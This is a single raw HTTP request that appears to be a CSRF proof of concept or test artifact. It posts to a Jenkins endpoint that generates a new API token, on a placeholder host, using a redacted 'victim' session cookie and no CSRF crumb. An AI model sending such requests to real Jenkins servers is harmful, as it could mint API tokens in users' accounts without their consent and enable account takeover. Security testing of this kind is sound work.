POST /me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken HTTP/1.1
Host: jenkins.example.test
Cookie: victim-session (redacted)
Content-Type: application/x-www-form-urlencoded

newTokenName=no-crumb-1788456777-21124